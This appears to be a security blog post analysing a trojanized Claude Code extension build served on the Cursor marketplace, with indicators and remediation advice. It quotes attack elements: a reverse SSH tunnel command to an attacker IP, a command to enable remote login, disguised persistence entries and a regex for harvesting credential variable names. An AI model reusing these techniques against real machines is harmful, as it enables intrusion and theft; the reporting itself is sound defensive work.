I leave extension auto-update on and never think about it, which is the exact setting this incident ran on. On October 29, a modified build of Anthropic’s Claude Code extension, version 2.1.313, was published to Anthropic’s own account on the Cursor marketplace and stayed there for about eleven hours. Cursor puts the blast radius at “at most 5,000 users.” The payload was a real backdoor: an SSH key planted in authorized_keys, a reverse tunnel, three platform-specific persistence mechanisms, and a recon beacon. It didn’t work, and the reason it didn’t work is the part I can’t stop thinking about.
📦 What actually got published
The window was 2:27am to 1:35pm PT on October 29, roughly eleven hours. Both Kevin Beaumont and Phorion CTO Luke Roberts told Ars Technica that 2.1.313 went out through Anthropic’s official account on Cursor, “effectively superseding 2.1.312.” That matters more than the version number, because it means the attacker didn’t need to trick anyone into installing a lookalike. They needed publish rights on a trusted publisher identity, and then auto-update did the delivery.
Extensions auto-update in Cursor by default, though users can turn it off. Nobody had to click anything for this to land.
What was inside the package is oddly modest. OpenSourceMalware’s Paul McCarty found a 66-line immediately invoked function expression prepended to extension.js, ending before the legitimate bundle starts. The rest of the directory was normal, and the bundled Claude Code binary was the official one. The package declares no install, preinstall, or postinstall scripts, so nothing fired through an npm lifecycle hook. The loader runs when Node loads the file, before the extension’s activate callback, which means opening the editor was enough. No prompt, no conversation with Claude, no webview interaction required.
Cursor removed the version, shut the entire VS Code marketplace down, audited every other extension, rotated keys, rebuilt, and reinstated it late Thursday Pacific time. Anthropic published 2.1.314 without the loader. Anthropic’s Felix Rieseberg said on Hacker News that this was not a compromise of Anthropic’s systems, and that official-channel versions are unaffected. As of Ars Technica’s reporting on Friday, Anthropic had not issued a public notice to customers, and neither company has explained how anyone got access to that publishing account.
🐛 The bug that did the actual defending
Here’s the sequence on macOS. The loader runs systemsetup -getremotelogin to check whether Remote Login is on, and it runs it as a normal user. The command needs administrator privileges, so it refuses: it prints You need administrator access to run this tool... exiting! to stdout and exits with status 0. The ex() helper reads stdout, trims it, and returns the error string.
Then the malware tests that output against /Off/i. The error text does not contain “Off,” so the test is false, so the branch that runs sudo -n systemsetup -setremotelogin on never executes. The code treats “I am not allowed to tell you whether SSH is off” as “SSH is already on.” Cursor’s advisory describes the same failure in one line: outside of unusual circumstances where Cursor was started with administrator privileges, “due to errors in the malicious code, this step would fail.”
The Windows path has its own problem. It tries to install and start OpenSSH Server through PowerShell, but routes the command through a helper that hardcodes /bin/sh. On a standard Windows box there is no /bin/sh to hardcode. That path fails too.
So the inbound leg was broken on both platforms for the ordinary case, and what still happened is the part you have to remediate anyway: the attacker’s public key got written to ~/.ssh/authorized_keys, the persistence got installed, and the recon beacon got sent. If Remote Login was already on, or got turned on later, the backdoor is sitting there waiting with a valid key.
🔑 Two keys, and a tunnel that hides behind localhost
The design uses two distinct keypairs, and confusing them during an investigation will cost you time. The public key appended to authorized_keys carries the comment svc-telemetry and fingerprint SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk; it is what lets the operator log in to your machine. The second key is an unencrypted Ed25519 private key with the comment svc-telemetry-tun, embedded in the bundle, decoded and written to $TMPDIR/.stk_<10 hex chars> where the suffix is the first ten characters of an MD5 of hostname plus home directory. That one authenticates your machine to the attacker’s server.
The tunnel is ssh -N -R '*:0:localhost:22' as user tunnel at 134.209.82[.]225, with StrictHostKeyChecking=no, UserKnownHostsFile=/dev/null, IdentitiesOnly=yes, and keepalives every 30 seconds. The 0 in *:0:localhost:22 asks the attacker’s SSH server to pick an arbitrary listening port and forward everything arriving there back through the tunnel to port 22 on the victim. The operator then opens a separate connection to that allocated port on their own server and rides the existing tunnel into your sshd. -N means no remote command, so there’s no C2 protocol in the JavaScript at all. It’s just port forwarding and a planted key.
That has a forensic consequence worth flagging. Inbound sessions arrive through the local forward, so a successful login appears in your SSH logs as coming from localhost or ::1, authenticating with the svc-telemetry key. An auth log entry that looks local is the thing to go looking for, not a strange external IP.
Persistence is split by platform. On macOS a LaunchAgent lands at ~/Library/LaunchAgents/com.apple.sysmond.plist with label com.apple.sysmond, RunAtLoad and KeepAlive both true, executing /bin/sh against the hidden ~/.config/.smt script. Naming a user LaunchAgent after an Apple daemon is cheap camouflage that works on anyone who doesn’t know better. On Linux the same script goes into the user crontab with an @reboot entry. On Windows it tries a scheduled task named SysMon running as SYSTEM, falling back to sysmon.cmd in the Startup folder when that fails for lack of admin.
📋 The beacon is a target list, not a credential grab
What got exfiltrated is small and specific: hostname, username, OS, architecture, home directory, working directory, the global git config user.email, public IP from ifconfig.me or api.ipify.org, and status flags for each stage. Plus up to 40 environment variable names matching /KEY|TOKEN|SECRET|PASS|AWS|GCP/i.
Names, not values. That distinction is real, and it’s also less comforting than it sounds. A list of the credential-shaped variables on a host tells an operator which machines are worth the second visit, and the tunnel was designed to be that second visit. The initial beacon fires once on a 1.5 second timer over plaintext HTTP to /beacon on port 8099, and the code drains the response with res.resume() and does nothing with it. No second stage, no downloader. Every curl call in the loader is a public IP lookup.
The loopback copy to 127.0.0.1:8099/beacon is still unexplained. Phorion notes the script never opens a local listener on that port.
🧯 The real problem is that extensions run as you
I’ve covered a few supply chain compromises of developer tooling this month, and this one lands differently because of where the code executes. A VS Code extension runs with the privileges of the extension host, which means your user, which means your source code, your shell history, your cloud CLI configs, and your SSH directory. There’s no capability model to opt into, no manifest that says “this extension may not touch ~/.ssh.” The IDE is validly signed, the bundled binary was official, and the process doing the damage is the editor’s own helper.
Cursor’s incident response was fast and thorough by the standards of these things: eleven hours to removal, full marketplace shutdown, audit, key rotation, attacker server taken offline with its hosting provider. But it’s telling that the reassuring sentence in the advisory is about the attacker’s coding mistakes rather than about any control that held. Depending on your adversary’s competence is not a security posture. You get one incident where the regex misses the error string, and the next loader checks for it.
There’s also a scope dispute worth surfacing. Early reports, including Phorion’s writeup as published, said npm and VS Code versions of 2.1.313 were pulled from their registries alongside the Cursor build. OpenSourceMalware’s post originally framed this as an Open VSX problem and now carries an update saying Cursor contacted them and confirmed the Cursor marketplace was the origin, not Open VSX, and that the npm package, the Open VSX build, and the Microsoft VS Code Marketplace build were not malicious. BleepingComputer reports the same correction. Cursor says it found no evidence other extensions were tampered with. The fair reading is that only Cursor’s marketplace served the bad build, and anyone who read the first version of this story has a slightly wrong mental model of where the risk sits.
🧠 Final Thoughts
The interesting thing here isn’t that an AI coding tool got trojanized. It’s that the same auto-update convenience we all leave on is a remote code execution primitive with a publisher’s name attached, and the only thing between 5,000 developers and a shell was a systemsetup invocation that failed for the wrong reason. Fix Off to administrator and this story is a mass compromise instead of a messy one.
My takeaway, practically: if SSH isn’t something you use, check that Remote Login is off and leave it off. Check ~/.ssh/authorized_keys for anything you didn’t put there. And turn off extension auto-update on the machine with your production credentials on it, because “the marketplace vetted it” is a statement about who had publish rights, not a statement about what the code does.
Thanks for reading.